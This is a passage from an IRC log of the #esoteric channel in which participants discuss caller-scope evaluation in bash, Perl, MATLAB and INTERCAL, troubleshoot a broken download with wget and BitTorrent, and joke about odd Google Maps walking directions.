were a piece of v-shaped..." < 1269108454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: can you eval in the caller's scope? < 1269108497 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :local is dynamically scoped, not static, if that's perl < 1269108512 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(proper static is "my" iirc) < 1269108524 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That doesn't look like perl; there's no sub, and no sigil for the var. < 1269108541 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm true < 1269108563 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But you can eval code in the caller's scope in MATLAB, too: evalin('caller', 'x = 42'); is a rather impolite thing to do. < 1269108584 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : can't you do geometry on rationals? < 1269108592 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, you need square roots < 1269108611 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or even evalin('base', 'x = 42'); if you want it to be evaluated directly in the workspace of the user's session. < 1269108625 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in Perl, you can't exactly eval in the caller's scope < 1269108627 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the constructible numbers it's the smallest field closed under square roots < 1269108629 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*is < 1269108638 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but you can take the caller's local/lexical variables from the symbol table and modify them that way < 1269108658 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(well, field of reals) < 1269108679 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Why would one ever want to use this? :-P < 1269108707 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You can use it to forcibly return values, even if the caller doesn't want you to. :p < 1269108728 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Well yes, you can use it to be obnoxious < 1269108729 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: There's also a curious restriction: "evalin cannot be used recursively to evaluate an expression. For example, a sequence of the form evalin('caller', 'evalin(''caller'', ''x'')') doesn't work." < 1269108730 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's bash not perl < 1269108734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :eqaw4235s6etf987yg-p09uh-o]=p < 1269108759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: can you eval in the caller's scope? <-- that is bash, but well I think I described it at the time I mentioned it < 1269108760 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[#324qw56e7ri8ulp9jo[0j['0oi;pj0l98hyngtfrxeadwq4rs6hu8,ghp0oi[;0,l98gu7y6tfry5d6t4esrw3aqe4st6p0o'l[0ogy6utfd65eswra432qstdey6p[0o'0j98sw5y6gtik09y6tr4eswgr4sw6tr4efwas4uy60pytfresar6y6tr4fesw646ir4fe3r4y6eaw87tr4ef < 1269108761 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: There's also assignin() if you want to stick a value into the caller's workspace without having to turn it into a string like that. < 1269108768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but eval < 1269108770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure < 1269108791 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Awfully handy, I suppose < 1269108829 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: The examples do look a bit contrived. < 1269108831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway, why aieeee? You saw it before < 1269108855 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: "The assignin function is particularly useful for these tasks: Exporting data from a function to the MATLAB workspace. Within a function, changing the value of a variable that is defined in the workspace of the caller function (such as a variable in the function argument list)." < 1269108865 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in INTERCAL, you can assign variables in the caller's scope by temporarily ending scope for that variable, then resuming it again < 1269108873 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :scopes in INTERCAL don't actually have to be well-nested < 1269108874 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I guess the latter part makes it a sort of a pass-by-reference mechanism. < 1269108906 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You can do value = evalin('caller', varname) to "dereference" the "pointer", and then assignin('caller', varname, value) to set it. < 1269108926 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Contrived, yes. :-) < 1269108951 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I prefer the INTERCAL method < 1269108967 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well, MATLAB's completely pass-by-value, as far as I remember, so if you want to do that sort of stuff... < 1269109005 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(There's a copy-on-write thing if you pass in a large matrix.) < 1269109011 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, as for eval in caller's scope, define what that actually would mean in terms of bash scoping please < 1269109024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pass-by-singular-reference < 1269109029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't figure out how the question makes sense in bash's model < 1269109032 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :all equal values have the same reference; passing a value passes this reference < 1269109038 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mutating it mutates it in all places < 1269109073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :f(x) = {x += 1}; y = 2+1; f(3); print(y) --> 4 < 1269109095 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, everything will be resolved to the first scope that has it < 1269109146 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the only thing for which eval in local scope would differ from eval in own scope would be: a) making new local variables in caller b) in case of your own local variables shadowing the caller's < 1269109158 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think the answer to those is: "no you can't do that" < 1269109182 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :aww, why not? < 1269109204 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyone remember my language where you could goto /anywhere/? :) < 1269109209 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, I do < 1269109209 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it was beautiful < 1269109215 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :BASIC? < 1269109216 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it was, but rather too similar to INTERCAL < 1269109223 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: no, it was structured that's the beauty < 1269109225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: no, you could goto, say, the inside of an expression < 1269109231 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :returns were jumping to the right place in your caller < 1269109236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you could jump into the middle of a loop and it'd work fine < 1269109237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1269109238 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :actually, you can do that in Overload too < 1269109242 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Asm, then ;-) < 1269109243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I wasn't sure about expressions < 1269109244 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :only Overload is a mess that I've abandoned < 1269109245 0 :myndzi!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269109246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but any statement, certainly < 1269109252 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :executing a pointer took you to wherever the pointer was pointing < 1269109263 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fixing the callstack after that was your responsibility < 1269109265 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(it used CPS) < 1269109270 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(so there wasn't really a callstack) < 1269109273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : aww, why not? <-- I can't think of a way to do theose < 1269109274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :those* < 1269109275 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's why < 1269109276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1269109277 0 :myndzi!myndzi@tengototen.net JOIN :#esoteric < 1269109283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if someone else know a way, please tell < 1269109284 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hey, I invented CPS without realising it < 1269109297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :/just now/ I have realised that Overload is CPS < 1269109303 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it's been like that for years < 1269109331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269109391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway I just realised that 16:24:03 ehird, caller() { local myvar; callee "myvar" "other arguments"; } callee() { printf -v "$1" "%s" "$2"; } < 1269109393 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would break < 1269109403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if the callee had it's own local variable "myvar" defined < 1269109407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :before that printf -v < 1269109435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so to ensure a roubust program, local variables should be prefixed with some sort of namespacy thingy < 1269109439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe like: < 1269109454 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lcl__ < 1269109457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1269109475 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Hey, the only usage example for evalin is "This example extracts the value of the variable var in the MATLAB base workspace and captures the value in the local variable v: v = evalin('base', 'var');" It doesn't really help in understanding why you'd want to use it. < 1269109549 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1269109588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, the reason for using this sort of thing in bash < 1269109596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is that you can only return an unsigned byte < 1269109601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from functions < 1269109605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is, an exit code < 1269109628 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which means you *have* to do this way to return anything more complex < 1269109638 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's silly that way. Matlab lets you return an arbitrary number of return values, and in any case those return values can be arbitrary data structures. < 1269109643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or use some global "return_value" variable < 1269109651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that seems even more error prone < 1269109680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, also for bash this is just a side effect of the scoping rules < 1269109685 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :printf -v is just "print to variable name" < 1269109694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because indirect assignment requires that or eval < 1269109714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't do foo=quux; $foo=bar and get bar into quux < 1269109750 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for the other way around, reading a variable from the variable name you get passed as a variable there is special syntax < 1269109754 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess in MATLAB you'd be most likely to use this as a some sort of a debugging aid; sticking an "assignin('base', 'temp', confusing_expression);" somewhere means that after executing it, you'll have the value inspectable in the session. < 1269109789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :foo=bar; myvariable=foo; echo ${!myvariable} would echo bar I think < 1269109793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unless I confused the syntax < 1269109798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :might have been something else than ! there < 1269109820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, does matlab have a debugger though? < 1269109864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bash 4 has associative arrays, but I "emulated" that before in bash 3.x < 1269109872 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :really messy < 1269109969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :STUPID FUCKING PIECE OF < 1269109970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ARGH < 1269109978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ? < 1269109986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm does C++ have anything to mess up the scoping? < 1269110015 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if not, that might one of the very few sane parts of C++... (C has quite sane scoping IMO) < 1269110021 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: probably, C++ can mess up /anything/ < 1269110068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, C99 does something strange for inline without static iirc < 1269110082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in particular extern inline, which might be a GNU extension < 1269110142 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :istr there was a gnu extension, and then C99 invented something with the same syntax but a different meaning < 1269110169 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :istr? < 1269110176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, and yes that sounds familiar < 1269110187 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :I seem to recall < 1269110194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269110196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :afdnkjsdfn\jkfkjsdaghsdkfghjsdkjfghskjdfghdafsgdfg < 1269110199 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this fucking 3g stick piece of crap < 1269110213 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, calm down, it won't become better because you are angry at it < 1269110229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alternatively: channel your rage, and insert a really bad star wars joke < 1269110257 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i've been trying to download this file for .... like three hours < 1269110262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :first time almost done cut off < 1269110270 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then my connection broke while trying to find ONE download manager that works < 1269110270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so resume < 1269110273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wget -c would work < 1269110275 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now it's just cutting off randomly after 30 seconds or so < 1269110279 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :Boba fet voice: kbytes will do fine < 1269110280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: BUT NONE OF THIS SHIT IS WORKING YOU IDIOT >_< < 1269110285 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: How big is the file? < 1269110289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well on the original file < 1269110300 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There is some sort of "he has no patience" starwars joke to be made here. < 1269110314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: 600 megabytes or therewithin < 1269110316 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :i had to go with the "Credits will do fine" < 1269110318 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :joke < 1269110321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :d you have to use -c the first time to use -c later? < 1269110327 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not that it matters < 1269110332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :6 kb/sec, wonderful < 1269110334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, that too, but I was going for the "try to convert to dark side" < 1269110345 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :6 kb/sec is a rather respectable modem speed. < 1269110356 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ok, this will be quicker: I'm coming to Birmingham; have an Ubuntu 9.10 USB stick ready when I arrive < 1269110357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what fizzie said < 1269110359 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I seem to recall some sort of "a megabyte per hour" rule of thumb. < 1269110360 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :sudo apt-get install sith < 1269110364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :he stole my joke < 1269110372 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: USB stick's ready already < 1269110378 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and are you /serious/? < 1269110384 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: 600 megabytes would take you several days with a modem connection; I wouldn't worry about a few hours < 1269110395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: hmm... let me ask google maps < 1269110420 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1269110460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: hmm... on public transport it'd take me anywhere between 7 and 10 hours < 1269110470 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :by car, only 3.5 hours < 1269110481 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :quick, use quantum mechanics to transfer a car here < 1269110497 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :seems implausible < 1269110502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do you need -c to resume later? < 1269110505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or does it work anyway < 1269110507 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :say it works anyway < 1269110508 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :please < 1269110522 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You don't need -c at the first invocation, if that's what you mean. < 1269110527 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Only later when you're trying to resume. < 1269110532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :good because it just broke < 1269110535 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now what's the thing again to resume < 1269110554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, wget -c foo < 1269110560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :foo is url or filename < 1269110565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, url < 1269110581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1269110585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now let's hope it actually resumes < 1269110585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :without -c wget will start downloading to .1 < 1269110586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead < 1269110603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and lets hope there is no data corruption < 1269110613 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no it will not resume < 1269110625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I remember downloading an iso (arch or ubuntu iirc) and the data was corrupted near the start < 1269110632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since then I use bittorrent for linux iso downloads < 1269110638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :much more reliable < 1269110642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fine < 1269110643 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fine < 1269110644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fine < 1269110655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it should resume < 1269110659 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange if it doesn't < 1269110679 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't remember where you live, but walking from Hexham (which I think was at least nearby at some point) to where I live would take you just 5 days, 13 hours. (It involves some 371 steps; you take the Newcastle-Ijmuiden-Amsterdam ferry to Netherlands, then the Hoek van Holland-Harwich ferry back to UK, then the Harwich-Esbjerg ferry to Denmark; then you just walk across Denmark (a hundred miles or so), take another ferry to Rostock, and from there to H < 1269110679 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :elsinki, Finland. < 1269110680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, does the server support not starting at the start? < 1269110694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Only 371 steps? < 1269110698 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Impressive. < 1269110700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"would take you just 5 days, 13 hours. (It involves some 371 steps;" < 1269110701 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I assume you mean footsteps. < 1269110704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269110706 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeah same < 1269110715 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, with large enough boots. < 1269110735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :...Also, why on earth would you go back to the UK? :D < 1269110749 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Because Google Maps says so! < 1269110786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so... UK->NL->UK->DK->FI? < 1269110798 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You forgot Germany there. (Rostock's in Germany.) < 1269110799 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which seems on crack < 1269110802 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh < 1269110822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, not over Sweden? He is missing out on stuff then < 1269110851 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Presumably it's because walking is so slow; it's good to find routes where you don't have much walking between ferry stops. < 1269110888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269110966 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://zem.fi/~fis/alise_walkabout.png < 1269110991 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That's a funny-looking loop near the Netherlands. < 1269111039 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I asked it for walking directions from Copenhagen to Amsterdam (our summer trip goes thereby); it gave me this really silly denmark-norway-denmark-norway-UK-holland thing. < 1269111042 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, if it takes ferries, why not also take trains? < 1269111076 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Walking directions are in beta, you see. < 1269111087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269111102 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Walking directions might not be the best idea :-P < 1269111108 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose it includes ferries because sometimes you cannot avoid them, while you could always walk along the train tracks... < 1269111122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yay bittorrent download is going fast < 1269111122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, try walking directions from new york to somewhere in Europe < 1269111131 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, I'd rather not < 1269111137 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They removed the "swim over atlantic ocean" thing, I think. < 1269111138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no not performing it < 1269111156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, did that actually happen in it once?! < 1269111184 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We could not calculate directions between new york and helsinki. < 1269111189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes :) < 1269111193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1269111201 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: See e.g. http://www.ghacks.net/2007/04/11/google-maps-swim-across-the-atlantic-ocean/ < 1269111228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :doesn't do helsinki to moscow anyway :( < 1269111230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*either < 1269111233 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :The car-directions hexham->helsinki make more sense < 1269111246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Walking directions to Helsinki, Finland < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0.0 mi < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Helsinki < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Finland < 1269111247 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It still has "Kayak across the Pacific Ocean" as a possibility. < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1. Head east toward Simonkatu < 1269111247 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0.0 mi < 1269111248 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1269111248 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Helsinki < 1269111249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Finland < 1269111258 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If you ask for "new york to sydney", for example. < 1269111268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what? < 1269111276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, is that an easteregg then? < 1269111287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, it seems unlikely to be due to an oversight < 1269111304 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you don't say <_< < 1269111314 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Most likely. It's given for the "by car" directions, anyway, and I'm not sure how you're meant to take the car with you in the kayak. < 1269111326 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's one pretty big kayak. < 1269111394 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :57. Take the 1st left onto Kalakaua Ave 1.9 mi < 1269111394 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :58. Kayak across the Pacific Ocean < 1269111394 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Entering Japan 3,879 mi < 1269111394 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :59. Turn right toward 県道263号線 0.3 mi < 1269111395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :clearly what you want is a large kon-tiki style raft big enough for a car < 1269111397 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I get it for walking between New York and Hawaii < 1269111400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :753. Kayak across the Pacific Ocean < 1269111400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Entering Hawaii < 1269111401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :. At the roundabout, take the 1st exit onto W Denton Way < 1269111401 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Go through 1 roundabout < 1269111404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :These are for the walking directions < 1269111406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1269111425 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: It should have a "Dodge the car's like it's Frogger!" written-in-red comment there. :p < 1269111430 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Gah, "cars". < 1269111453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, could it be that there are sidewalks? < 1269111478 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Go THROUGH 1 roundabout" < 1269111512 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly Google has a psychotic AI running that. < 1269111541 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Anyway, I asked for walking directions because the only other alternative was "by car", and we're not going to have/rent one; it doesn't do trains. (Was there some sort of limited-region public transportation thing already?) < 1269111565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://maps.google.com/maps?f=d&source=s_d&saddr=hexham&daddr=helsinki+to:brussels&hl=en&geocode=&mra=ls&dirflg=w&sll=-5.52475,179.448463&sspn=74.498813,114.433594&ie=UTF8&ll=48.806863,8.481445&spn=13.289494,28.608398&z=5 < 1269111573 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hexham, Helsinki, Brussels. < 1269111581 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You can always 